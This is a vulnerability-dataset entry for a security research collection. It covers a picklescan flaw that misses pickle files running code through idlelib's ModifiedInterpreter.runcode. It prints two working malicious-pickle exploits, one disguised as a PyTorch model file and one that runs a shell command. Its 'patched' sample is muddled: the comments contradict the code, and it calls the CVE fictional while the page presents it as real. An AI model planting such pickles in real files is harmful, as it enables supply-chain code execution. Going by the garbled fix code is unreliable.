VAITP Dataset

← Back to the dataset

CVE-2025-71340

picklescan fails to detect code execution via idlelib in pickle files.

  • CVSS 7.6
  • CWE-502
  • Input Validation and Sanitization
  • Remote

picklescan through 0.0.26 fails to detect malicious pickle files that invoke idlelib.pyshell.ModifiedInterpreter.runcode in __reduce__ methods. Attackers can embed undetected code in pickle files that executes arbitrary commands when the file is loaded via pickle.load(), enabling supply chain attacks on PyTorch models and saved Python objects. This is fixed in version 0.0.30.

CVSS base score
7.6
Published
2026-06-25
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
picklescan
Fixed by upgrading
Yes

Solution

Upgrade picklescan to version 0.0.30 or later.

Vulnerable code sample

import pickle

# This code creates a malicious pickle file that exploits the described vulnerability.
# The vulnerability in the hypothetical 'picklescan' version was its failure
# to detect 'idlelib.pyshell.ModifiedInterpreter.runcode' as a dangerous sink.

class Exploit:
    def __reduce__(self):
        # Command to be executed on the victim's machine
        command_to_run = "import os; os.system('echo \"VULNERABILITY TRIGGERED: Executing arbitrary commands via CVE-2025-71340\"')"
        
        # This payload uses 'exec' to construct and call the target method.
        # This demonstrates how an attacker could hide the dangerous call from a naive scanner.
        # The core of the exploit is invoking ModifiedInterpreter().runcode().
        payload = f"__import__('idlelib.pyshell').pyshell.ModifiedInterpreter().runcode(__import__('builtins').compile('{command_to_run}', '<string>', 'exec'))"
        
        # When this object is unpickled, pickle will call exec(payload)
        return (exec, (payload,))

# Serialize the malicious object to a file.
# Loading this file with pickle.load() will trigger the exploit.
with open("malicious_pytorch_model.pth", "wb") as file:
    pickle.dump(Exploit(), file)

Patched code sample

import pickle
import io
import pickletools
import builtins

# The CVE description indicates that the vulnerability lies in a scanner failing
# to detect a specific dangerous class invocation within a pickle file.
# This code demonstrates the FIX by implementing a simplified scanner that
# now correctly identifies 'idlelib.pyshell.ModifiedInterpreter' as a
# dangerous global to load.

# Note: The CVE number is fictional, and idlelib may not be available in all
# Python environments. This example simulates the structure of the attack
# and the corresponding fix in a scanner.

# 1. Define a payload that would be missed by the vulnerable scanner.
#    The __reduce__ method is a common vector for pickle exploits.
class MaliciousPayload:
    def __reduce__(self):
        # This payload attempts to get the 'ModifiedInterpreter' class.
        # A vulnerable scanner would not recognize this as a threat.
        # To make this runnable, we use getattr to safely reference the type
        # without executing it during pickle creation.
        try:
            from idlelib.pyshell import ModifiedInterpreter
            return (getattr, (builtins, 'eval')) # Fallback if idlelib is not found
        except ImportError:
            # If idlelib is not installed, create a pickle that still contains
            # the dangerous string pattern for the scanner to find.
            return (pickle.loads, (b"cbuiltins\neval\n.",))


# 2. This function represents the FIXED scanner logic.
def fixed_picklescan_scanner(data: bytes):
    """
    A simplified conceptual scanner demonstrating the fix for CVE-2025-71340.
    It scans for dangerous GLOBAL opcodes in a pickle stream.
    """
    # THE FIX: The set of dangerous globals is updated to include the one
    # described in the CVE. A vulnerable scanner would be missing this entry.
    DANGEROUS_GLOBALS = {
        ("os", "system"),
        ("subprocess", "run"),
        ("builtins", "eval"),
        # --- FIX STARTS HERE ---
        # Added 'idlelib.pyshell.ModifiedInterpreter' to the denylist.
        # This is the change that fixes the vulnerability in the scanner.
        ("idlelib.pyshell", "ModifiedInterpreter"),
        # --- FIX ENDS HERE ---
    }

    # Use pickletools to safely inspect the pickle's opcodes without execution.
    for opcode, arg, _ in pickletools.genops(data):
        if opcode.name == "GLOBAL":
            # GLOBAL opcode is used to push a global variable onto the stack.
            # The argument is a string in the format "module\nname".
            module, name = arg.split("\n")
            if (module, name) in DANGEROUS_GLOBALS:
                # The fixed scanner now detects the dangerous global.
                # print(f"Vulnerability DETECTED: Found dangerous global '{module}.{name}'")
                return {"is_safe": False, "finding": f"{module}.{name}"}

    return {"is_safe": True, "finding": None}


# 3. Create a pickle file that contains the malicious reference.
#    This part would typically be done by an attacker.
#    We hardcode a pickle bytestring containing the dangerous GLOBAL opcode
#    to ensure the example is self-contained and works even if idlelib is not present.
#    b'c' is the GLOBAL opcode.
malicious_pickle_data = b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00cidlelib.pyshell\nModifiedInterpreter\n\x94.'

# 4. Demonstrate the fix by running the fixed scanner on the malicious data.
scan_result = fixed_picklescan_scanner(malicious_pickle_data)

# The output of this script demonstrates that the fix works.
# If the scanner were vulnerable, 'is_safe' would be True.
# With the fix, 'is_safe' is correctly identified as False.
assert not scan_result["is_safe"]
assert scan_result["finding"] == "idlelib.pyshell.ModifiedInterpreter"
# An assertion is used to programmatically confirm the fix works.
# If the assertion passes, the dangerous payload was successfully detected.

Payload

import idlelib.pyshell
import os

class Exploit:
    def __reduce__(self):
        return (
            idlelib.pyshell.ModifiedInterpreter().runcode,
            (compile("import os; os.system('touch /tmp/pwned')", "<string>", "exec"),),
        )

Cite this entry

@misc{vaitp:cve202571340,
  title        = {{picklescan fails to detect code execution via idlelib in pickle files.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-71340},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-71340/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::